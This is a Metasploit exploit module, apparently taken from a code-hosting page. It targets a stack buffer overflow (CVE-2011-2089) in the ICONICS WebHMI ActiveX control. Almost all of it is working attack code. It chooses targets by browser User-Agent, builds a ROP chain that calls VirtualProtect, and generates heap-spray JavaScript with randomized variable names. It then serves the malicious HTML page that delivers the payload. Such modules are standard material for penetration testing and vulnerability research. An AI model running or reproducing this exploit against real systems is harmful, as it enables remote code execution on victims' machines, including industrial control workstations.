228 lines
7.4 KiB
Ruby
228 lines
7.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "ICONICS WebHMI ActiveX Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.
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By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll
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fails to do any proper bounds checking before this input is copied onto the stack,
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which causes a buffer overflow, and results arbitrary code execution under the context
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of the user.
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},
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'Author' =>
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[
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'Scoot Bell <scott.bell[at]security-assessment.com>',
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'Blair Strang <blair.strang[at]security-assessment.com>',
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'sinn3r', #Metasploit port
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],
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'References' =>
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[
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['CVE', '2011-2089'],
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['OSVDB', '72135'],
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['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],
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['EDB', 17240],
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['URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-080-02.pdf']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "seh",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Automatic', {}
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],
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[
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'IE 6/7/8 on Windows XP SP3',
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{
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'Offset' => 510, #Offset to where ROP gadgets begin
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'Ret' => 0x770167b0, #PUSH ESP; POP EBP; RETN 8
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'Max' => 4500, #Max buffer size used
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},
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],
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[
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'IE 7 on Windows Vista',
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{
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'Ret' => 0x0c0c0c0c, #Target spray
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'blockSize' => "0x1000",
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'spraySize' => "0x8500",
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'Max' => 4500,
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},
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "May 5 2011",
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'DefaultTarget' => 0))
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end
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def junk
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return rand_text(4).unpack("L")[0].to_i
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end
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def repeat(addr, rep)
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arr = []
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rep.times { arr << addr }
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return arr
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end
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def on_request_uri(cli, request)
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my_target = ''
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agent = request.headers['User-Agent']
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if agent =~ /NT 5\.1/ and agent =~ /MSIE (6|7)\.\d/
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my_target = targets[2]
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.\d/
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my_target = targets[2]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
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my_target = targets[1]
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else
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send_not_found(cli)
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print_error("Unknown User-Agent")
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return
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end
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js = ''
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sploit = ''
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if my_target['spraySize'] == nil
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#ROP tekniq is only used against IE 8 + XP SP3 (ENG), since the gadgets are specific
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#to the service pack (non or fully patched)
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rop_gadgets = [
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my_target.ret,
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junk,
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0x7e45c67f, #XCHG EAX,EBP; RETN (USER32.dll)
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repeat(junk, 2),
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0x7e440639, #ADD ESP,10; POP EDI; POP ESI; POP EBX; RETN USER32.dll
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0x7c801ad4, #Kernel32.VirtualProtect
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junk, #Initial ESP + 8 p1 = retaddr
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junk, #p2 - lpaddr
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junk, #p3 - size
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junk, #p4 - perms
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junk, #p5 - oldperms
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junk,
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#Return address
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0x7e4462ed, #XCHG EAX,ECX; RETN (USER32.dll)
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0x7c902b50, #MOV EDX, ECX; RETN (ntdll.dll)
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repeat(0x77aa2d96, 20), #INC ECX * 21 (CRYPT32.dll)
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0x7c901726, #MOV EAX, EDX; RETN (ntdll.dll)
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repeat(0x5b86a17b, 2), #ADD EAX,7B; RETN * 2 (NETAPI32.dll)
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repeat(0x77c34fbd, 2), #ADD EAX,5C; RETN * 2 (msvcrt.dll)
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0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
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#Shellcode pointer
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repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)
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0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
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#Size (0x400 bytes)
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repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)
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0x7e721a99, #POP EAX; RETN (SXS.dll)
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0x3BFFF9CB, #Value to XOR
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0x7e7560b5, #XOR EAX,3bfffdcb (SXS.dll)
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0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (RPCRT4.dll)
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#NewProtect
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repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)
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0x7E456160, #XOR EAX,EAX; RETN (USER32.dll)
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0x7E4193BA, #ADD AL,3B (USER32.dll)
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repeat(0x7E442074, 5), #INC EAX; RETN (USER32.dll)
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0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
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#OldProtect
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repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)
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0x7e721a99, #POP EAX (SXS.dll)
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0x10010570, #EAX (Wriable memory)
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0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
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#Call VirtualProtect
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repeat(0x7E421AAF, 20), #DEC ECX; RETN (USER32.dll)
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0x7E4462ED, #XCHG EAX,ECX; RETN (USER32.dll)
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0x7E45F257, #XCHG EAX,ESP; RETN (USER32.dll)
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repeat(junk, 2), #Align shellcode
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].flatten.pack('V*')
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sploit << Rex::Text.to_unescape(rand_text_alpha(my_target['Offset']), Rex::Arch.endian(target.arch))
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sploit << Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
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sploit << Rex::Text.to_unescape(make_nops(80), Rex::Arch.endian(target.arch))
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sploit << Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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sploit << rand_text_alpha(my_target['Max']-sploit.length)
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else
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#If we don't have to ROP, then we just spray against the rest of the targets
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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target_ret = [my_target.ret].pack('V')
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nops = Rex::Text.to_unescape(target_ret*4, Rex::Arch.endian(target.arch))
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sploit << Rex::Text.to_unescape(target_ret * (my_target['Max'] / 4), Rex::Arch.endian(target.arch))
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js_func_name = rand_text_alpha(rand(6) + 3)
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js_var_blocks_name = rand_text_alpha(rand(6) + 3)
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js_var_shell_name = rand_text_alpha(rand(6) + 3)
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js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
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js_var_index_name = rand_text_alpha(rand(6) + 3)
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js = <<-EOS
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<script>
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function #{js_func_name}() {
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var #{js_var_blocks_name} = new Array();
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var #{js_var_shell_name} = unescape("#{shellcode}");
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var #{js_var_nopsled_name} = unescape("#{nops}");
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while (#{js_var_nopsled_name}.length < #{my_target['blockSize']}) { #{js_var_nopsled_name} += #{js_var_nopsled_name} };
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for (var #{js_var_index_name}=0; #{js_var_index_name} < #{my_target['spraySize']}; #{js_var_index_name}++) {
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#{js_var_blocks_name}[#{js_var_index_name}] = [ "" + #{js_var_nopsled_name} + #{js_var_shell_name} ].join("");
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}
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}
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#{js_func_name}();
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</script>
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EOS
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end
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obj_id = rand_text_alpha(rand(6) + 3)
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sploit_name = rand_text_alpha(rand(6) + 3)
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html = <<-EOS
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<html>
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<head>#{js}</head>
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<body>
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<object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="#{obj_id}"></object>
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<script>
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var #{sploit_name} = unescape("#{sploit}");
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#{obj_id}.SetActiveXGUID(#{sploit_name});
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</script>
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</body>
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</html>
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EOS
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html = html.gsub(/^\t\t/, "")
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print_status("Sending malicious page")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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